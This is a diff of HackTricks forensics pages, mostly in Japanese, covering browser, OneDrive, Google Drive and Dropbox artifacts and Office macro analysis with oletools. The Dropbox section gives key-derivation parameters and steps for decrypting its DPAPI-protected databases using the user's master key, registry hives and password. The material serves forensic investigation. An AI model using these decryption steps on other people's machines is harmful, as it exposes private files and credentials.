- **ブラウザの組み込みのフィッシング対策**: `fraud_protection_enabled``true` に設定されているかどうかを確認するには、`grep` を使用して `Preferences` ファイル内で確認します。 * **Browsers built-in anti-phishing**: `grep`を使用してPreferencesファイル内の`fraud_protection_enabled`が`true`に設定されているか確認します。
これらのパスとコマンドは、異なるWebブラウザによって保存されるブラウジングデータにアクセスして理解するために重要です。 これらのパスとコマンドは、さまざまなウェブブラウザによって保存されたブラウジングデータにアクセスし、理解するために重要です。
## 参考文献 ## References
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a) * [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/) * [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file) * [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
- **書籍: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** * **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** できます。\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
今すぐアクセスしてください: Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)** で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</strong></summary> <summary>Support HackTricks</summary>
HackTricks をサポートする他の方法: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* もし**HackTricks**であなたの**企業が宣伝されるのを見たい**か、**PDF形式のHackTricksをダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手してください * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** </details>
* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** {% endhint %}

View file

@ -1,136 +1,138 @@
# ローカルクラウドストレージ # ローカルクラウドストレージ
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使って、ゼロからヒーローまでAWSハッキングを学びましょう</summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得: 今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## OneDrive ## OneDrive
Windowsでは、OneDriveフォルダを`\Users\<username>\AppData\Local\Microsoft\OneDrive`で見つけることができます。そして、`logs\Personal`内にある`SyncDiagnostics.log`ファイルには、次のような興味深いデータが含まれています: Windowsでは、OneDriveフォルダーは `\Users\<username>\AppData\Local\Microsoft\OneDrive` にあります。そして、`logs\Personal` 内には、同期されたファイルに関する興味深いデータを含む `SyncDiagnostics.log` ファイルがあります:
- バイト単位のサイズ * バイト単位のサイズ
- 作成日 * 作成日
- 変更 * 修正
- クラウド内のファイル数 * クラウド内のファイル数
- フォルダ内のファイル数 * フォルダー内のファイル数
- **CID**OneDriveユーザーのユニークID * **CID**: OneDriveユーザーのユニークID
- レポート生成時刻 * レポート生成時間
- OSのHDのサイズ * OSのHDのサイズ
CIDを見つけたら、**このIDを含むファイルを検索**することをお勧めします。OneDriveと同期されたファイルの名前が記載されている可能性がある_**\<CID>.ini**_および_**\<CID>.dat**_という名前のファイルを見つけることができるかもしれません CIDを見つけたら、このIDを含むファイルを**検索することをお勧めします**。_**\<CID>.ini**_ や _**\<CID>.dat**_ という名前のファイルが見つかるかもしれません。これらのファイルには、OneDriveと同期されたファイルの名前などの興味深い情報が含まれている可能性があります
## Google Drive ## Google Drive
Windowsでは、メインのGoogle Driveフォルダを`\Users\<username>\AppData\Local\Google\Drive\user_default`で見つけることができます。\ Windowsでは、主要なGoogle Driveフォルダーは `\Users\<username>\AppData\Local\Google\Drive\user_default` にあります。\
このフォルダには、アカウントのメールアドレス、ファイル名、タイムスタンプ、ファイルのMD5ハッシュなどの情報が含まれたSync\_log.logというファイルがあります。削除されたファイルも、対応するMD5とともにそのログファイルに表示されます。 このフォルダには、アカウントのメールアドレス、ファイル名、タイムスタンプ、ファイルのMD5ハッシュなどの情報を含む `Sync_log.log` というファイルがあります。削除されたファイルも、そのログファイルに対応するMD5と共に表示されます。
ファイル**`Cloud_graph\Cloud_graph.db`**は、**`cloud_graph_entry`**というテーブルを含むsqliteデータベースで、このテーブルでは、**同期されたファイル**の**名前**、変更時刻、サイズ、およびファイルのMD5チェックサムを見つけることができます。 ファイル **`Cloud_graph\Cloud_graph.db`** はsqliteデータベースで、**`cloud_graph_entry`** というテーブルが含まれています。このテーブルには、**同期された** **ファイルの名前**、修正時間、サイズ、ファイルのMD5チェックサムが含まれています。
データベース**`Sync_config.db`**のテーブルデータには、アカウントのメールアドレス、共有フォルダのパス、Google Driveのバージョンが含まれています。 データベース **`Sync_config.db`** のテーブルデータには、アカウントのメールアドレス、共有フォルダのパス、Google Driveのバージョンが含まれています。
## Dropbox ## Dropbox
Dropboxはファイルを管理するために**SQLiteデータベース**を使用しています。\ Dropboxは**SQLiteデータベース**を使用してファイルを管理します。この\
これらのデータベースは次のフォルダにあります: データベースは以下のフォルダーにあります:
- `\Users\<username>\AppData\Local\Dropbox` * `\Users\<username>\AppData\Local\Dropbox`
- `\Users\<username>\AppData\Local\Dropbox\Instance1` * `\Users\<username>\AppData\Local\Dropbox\Instance1`
- `\Users\<username>\AppData\Roaming\Dropbox` * `\Users\<username>\AppData\Roaming\Dropbox`
そして、主要なデータベースは次のとおりです: 主要なデータベースは次のとおりです:
- Sigstore.dbx * Sigstore.dbx
- Filecache.dbx * Filecache.dbx
- Deleted.dbx * Deleted.dbx
- Config.dbx * Config.dbx
".dbx"拡張子は、これらのデータベースが**暗号化**されていることを意味します。Dropboxは**DPAPI**を使用しています([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN) ".dbx"拡張子は、**データベース**が**暗号化されている**ことを意味します。Dropboxは**DPAPI**を使用しています([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)
Dropboxが使用る暗号化をよりよく理解するには、[https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)を読んでください Dropboxが使用している暗号化をよりよく理解するには、[https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)を読むことができます
ただし、主な情報は次のとおりです: しかし、主な情報は次のとおりです:
- **エントロピー**d114a55212655f74bd772e37e64aee9b * **エントロピー**: d114a55212655f74bd772e37e64aee9b
- **ソルト**0D638C092E8B82FC452883F95F355B8E * **ソルト**: 0D638C092E8B82FC452883F95F355B8E
- **アルゴリズム**PBKDF2 * **アルゴリズム**: PBKDF2
- **反復回数**1066 * **反復回数**: 1066
の情報以外に、データベースを復号化するには以下が必要です: れに加えて、データベースを復号化するには、次のものが必要です:
- **暗号化されたDPAPIキー**:これは、`NTUSER.DAT\Software\Dropbox\ks\client`内のレジストリから見つけることができます(このデータをバイナリとしてエクスポートします * **暗号化されたDPAPIキー**: `NTUSER.DAT\Software\Dropbox\ks\client` 内のレジストリで見つけることができます(このデータをバイナリとしてエクスポート)
- **`SYSTEM`**および**`SECURITY`**ハイブ * **`SYSTEM`** および **`SECURITY`** ハイブ
- **DPAPIマスターキー**:これは`\Users\<username>\AppData\Roaming\Microsoft\Protect`内に見つけることができます * **DPAPIマスタキー**: `\Users\<username>\AppData\Roaming\Microsoft\Protect` にあります
- Windowsユーザーの**ユーザー名**と**パスワード** * Windowsユーザーの**ユーザー名**と**パスワード**
その後、[**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)を使用できます: その後、[**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**ツールを使用できます:**
![](<../../../.gitbook/assets/image (448).png>) ![](<../../../.gitbook/assets/image (448).png>)
すべてが予想通りに進むと、ツールは**復元に使用する主キー**を示します。元のキーを復元するには、この[cyber\_chefレシピ](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)を使用し、主キーを「パスフレーズ」としてレシピ内に入力します。 すべてが期待通りに進めば、ツールは元のものを復元するために**使用する必要があるプライマリキー**を示します。元のものを復元するには、この[cyber\_chefレシピ](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\))を使用し、プライマリキーをレシピ内の「パスフレーズ」として設定します。
結果の16進数は、データベースを号化するために使用される最終キーであり、次のように復号化できます: 結果の16進数は、データベースを号化するために使用される最終キーであり、次のように復号化できます:
```bash ```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
``` ```
**`config.dbx`**データベースには次の情報が含まれています: The **`config.dbx`** データベースには以下が含まれています:
- **Email**: ユーザーのメールアドレス * **Email**: ユーザーのメールアドレス
- **usernamedisplayname**: ユーザーの名前 * **usernamedisplayname**: ユーザーの名前
- **dropbox\_path**: Dropboxフォルダが配置されているパス * **dropbox\_path**: Dropboxフォルダがあるパス
- **Host\_id**: クラウドへの認証に使用されるハッシュ。これはWebからのみ取り消すことができます。 * **Host\_id: Hash**: クラウドへの認証に使用されるハッシュ。このハッシュはウェブからのみ取り消すことができます。
- **Root\_ns**: ユーザー識別子 * **Root\_ns**: ユーザー識別子
**`filecache.db`**データベースには、Dropboxと同期されたすべてのファイルとフォルダに関する情報が含まれています。最も有用な情報を持つテーブルは`File_journal`です: **`filecache.db`** データベースには、Dropboxと同期されたすべてのファイルとフォルダに関する情報が含まれています。`File_journal` テーブルが最も有用な情報を持っています:
- **Server\_path**: サーバー内のファイルが配置されているパス(このパスはクライアントの`host_id`で先行します)。 * **Server\_path**: サーバー内のファイルがあるパス(このパスはクライアントの `host_id` によって前置されます)。
- **local\_sjid**: ファイルのバージョン * **local\_sjid**: ファイルのバージョン
- **local\_mtime**: 修正日 * **local\_mtime**: 修正日
- **local\_ctime**: 作成日 * **local\_ctime**: 作成日
このデータベース内の他のテーブルには、さらに興味深い情報が含まれています: このデータベース内の他のテーブルには、さらに興味深い情報が含まれています:
- **block\_cache**: Dropboxのすべてのファイルとフォルダのハッシュ * **block\_cache**: Dropboxのすべてのファイルとフォルダのハッシュ
- **block\_ref**: テーブル`block_cache`のハッシュIDをテーブル`file_journal`のファイルIDに関連付ける * **block\_ref**: `block_cache` テーブルのハッシュIDと `file_journal` テーブルのファイルIDを関連付ける
- **mount\_table**: Dropboxの共有フォルダ * **mount\_table**: Dropboxの共有フォルダ
- **deleted\_fields**: Dropboxで削除されたファイル * **deleted\_fields**: Dropboxで削除されたファイル
- **date\_added** * **date\_added**
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得: 今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>
{% endhint %}

View file

@ -1,58 +1,60 @@
# オフィスファイルの分析 # Office file analysis
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricks をサポートする他の方法: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** または [telegramグループ](https://t.me/peass) に**参加** または **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) を**フォロー** してください。
* **ハッキングトリックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出してください。
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** してください。\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
今すぐアクセスしてください: Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
詳細については [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) をチェックしてください。これは要約です: For further information check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). This is just a sumary:
Microsoft は多くのオフィスドキュメント形式を作成しており、主なタイプは **OLE形式**RTF、DOC、XLS、PPTなど**Office Open XMLOOXML形式**DOCX、XLSX、PPTXなどです。これらの形式にはマクロが含まれることがあり、それによりフィッシングやマルウェアの標的になります。OOXMLファイルはzipコンテナとして構造化されており、解凍してファイルとフォルダの階層、XMLファイルの内容を表示できます。 Microsoftは多くのオフィス文書フォーマットを作成しており、主に**OLEフォーマット**RTF、DOC、XLS、PPTなどと**Office Open XMLOOXMLフォーマット**DOCX、XLSX、PPTXなどの2種類があります。これらのフォーマットにはマクロが含まれることがあり、フィッシングやマルウェアの標的となります。OOXMLファイルはzipコンテナとして構造化されており、解凍することでファイルとフォルダの階層やXMLファイルの内容を確認できます。
OOXMLファイルの構造を調査するために、ドキュメントを解凍するためのコマンドと出力構造が提供されています。これらのファイルにデータを隠す技術が文書化されており、CTFチャレンジ内でのデータの隠蔽に関する革新が続いています。 OOXMLファイル構造を探るための文書を解凍するコマンドと出力構造が示されています。これらのファイルにデータを隠す技術が文書化されており、CTFチャレンジ内でのデータ隠蔽の革新が続いていることを示しています。
分析のために、**oletools****OfficeDissector** は、OLEおよびOOXMLドキュメントを調査するための包括的なツールセットを提供しています。これらのツールは、埋め込まれたマクロを特定し、分析するのに役立ちます。これらのマクロは、通常、マルウェアの配信ベクトルとして機能し、通常は追加の悪意のあるペイロードをダウンロードして実行します。VBAマクロの分析は、Libre Office を使用してMicrosoft Officeなしで行うことができ、ブレークポイントとウォッチ変数を使用したデバッグが可能です。 分析のために、**oletools**と**OfficeDissector**はOLEおよびOOXML文書を調査するための包括的なツールセットを提供します。これらのツールは、マルウェア配信のベクターとして機能することが多い埋め込まれたマクロを特定し、分析するのに役立ちます。VBAマクロの分析は、Libre Officeを利用することでMicrosoft Officeなしで行うことができ、ブレークポイントやウォッチ変数を使ってデバッグが可能です。
**oletools** のインストールと使用は簡単で、pipを使用してインストールするためのコマンドが提供され、ドキュメントからマクロを抽出するための手順が示されています。マクロの自動実行は、`AutoOpen`、`AutoExec`、または `Document_Open` などの関数によってトリガーされます。 **oletools**のインストールと使用は簡単で、pipを介してインストールし、文書からマクロを抽出するためのコマンドが提供されています。マクロの自動実行は、`AutoOpen`、`AutoExec`、または`Document_Open`のような関数によってトリガーされます。
```bash ```bash
sudo pip3 install -U oletools sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros olevba -c /path/to/document #Extract macros
``` ```
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**し**自動化**します。\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>で**ゼロからヒーローまでAWSハッキングを学ぶ**</summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASS & HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>
{% endhint %}

View file

@ -1,52 +1,54 @@
# PDFファイルの分析 # PDFファイル分析
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手する
